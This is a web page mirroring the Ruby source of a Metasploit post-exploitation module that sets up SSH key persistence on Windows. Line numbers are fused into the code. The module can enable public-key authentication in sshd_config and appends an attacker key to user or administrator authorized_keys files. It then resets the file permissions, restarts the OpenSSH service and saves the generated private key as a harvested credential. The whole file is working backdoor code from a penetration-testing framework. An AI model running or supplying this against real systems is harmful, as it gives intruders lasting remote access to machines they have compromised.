Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/sshkey_persistence.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sshkey'67class MetasploitModule < Msf::Post8Rank = GoodRanking910include Msf::Post::File11include Msf::Post::Windows::UserProfiles1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'SSH Key Persistence',18'Description' => %q{19This module will add an SSH key to a specified user (or all), to allow20remote login via SSH at any time.21},22'License' => MSF_LICENSE,23'Author' => [24'Dean Welch <dean_welch[at]rapid7.com>'25],26'Platform' => [ 'windows' ],27'SessionTypes' => [ 'meterpreter', 'shell' ],28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31stdapi_fs_mkdir32stdapi_fs_separator33]34}35}36)37)3839register_options(40[41OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),42OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),43OptString.new('SSHD_CONFIG', [true, 'sshd_config file', 'C:\ProgramData\ssh\sshd_config' ]),44OptString.new('ADMIN_KEY_FILE', [true, 'Admin key file', 'C:\ProgramData\ssh\administrators_authorized_keys' ]),45OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]),46OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]),47OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])48], self.class49)50end5152def run53sep = separator5455sshd_config = read_file(datastore['SSHD_CONFIG'])5657print_status('Checking SSH Permissions')58if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG']59enable_pub_key_auth(sshd_config)60end6162auth_key_file = auth_key_file_name(sshd_config)6364print_status("Authorized Keys File: #{auth_key_file}")6566auth_key_folder = auth_key_file.split('/')[0...-1].join(sep)67auth_key_file = auth_key_file.split('/')[-1]6869paths = []70if datastore['USERNAME']71grab_user_profiles.each do |profile|72paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['UserName'] == datastore['USERNAME']73end74end7576if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location77admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep)78admin_auth_key_file = datastore['ADMIN_KEY_FILE'].split(sep)[-1]7980print_status("Admin Authorized Keys File: #{admin_auth_key_file}")8182write_key([admin_auth_key_folder], admin_auth_key_file, sep)83end8485if !datastore['USERNAME'] && !datastore['ADMIN']86grab_user_profiles.each do |profile|87paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}"88end89end9091if datastore['CREATESSHFOLDER'] == true92create_ssh_folder(paths)93end9495paths = paths.select { |d| directory?(d) }96unless paths.empty?97write_key(paths, auth_key_file, sep)98end99100restart_openssh101end102103def enable_pub_key_auth(sshd_config)104sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes')105write_file(datastore['SSHD_CONFIG'], sshd_config)106end107108def pub_key_auth_allowed?(sshd_config)109/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config110if pub_key && pub_key == 'no'111print_error('Pubkey Authentication disabled')112elsif pub_key113vprint_good("Pubkey set to #{pub_key}")114end115end116117def auth_key_file_name(sshd_config)118%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config119if auth_key_file120auth_key_file = auth_key_file.gsub('%h', '')121auth_key_file = auth_key_file.gsub('%%', '%')122if auth_key_file.start_with? '/'123auth_key_file = auth_key_file[1..]124end125else126auth_key_file = '.ssh/authorized_keys'127end128auth_key_file129end130131def create_ssh_folder(paths)132vprint_status("Attempting to create ssh folders that don't exist")133paths.each do |p|134unless directory?(p)135print_status("Creating #{p} folder")136session.fs.dir.mkdir(p)137end138end139end140141def restart_openssh142cmd_exec('net stop "OpenSSH SSH Server"')143cmd_exec('net start "OpenSSH SSH Server"')144end145146def set_pub_key_file_permissions(file)147cmd_exec("icacls #{file} /inheritance:r")148cmd_exec("icacls #{file} /grant SYSTEM:(F)")149cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")150end151152def separator153if session.type == 'meterpreter'154sep = session.fs.file.separator155else156# Guess, but it's probably right157sep = '\\'158end159sep160end161162def write_key(paths, auth_key_file, sep)163if datastore['PUBKEY'].nil?164key = SSHKey.generate165our_pub_key = key.ssh_public_key166loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')167print_good("Storing new private key as #{loot_path}")168else169our_pub_key = ::File.read(datastore['PUBKEY'])170end171paths.each do |path|172path.chomp!173authorized_keys = "#{path}#{sep}#{auth_key_file}"174print_status("Adding key to #{authorized_keys}")175append_file(authorized_keys, "\n#{our_pub_key}")176print_good('Key Added')177set_pub_key_file_permissions(authorized_keys)178next unless datastore['PUBKEY'].nil?179180path_array = path.split(sep)181path_array.pop182user = path_array.pop183credential_data = {184origin_type: :session,185session_id: session_db_id,186post_reference_name: refname,187private_type: :ssh_key,188private_data: key.private_key.to_s,189username: user,190workspace_id: myworkspace_id191}192193create_credential(credential_data)194end195end196end197198199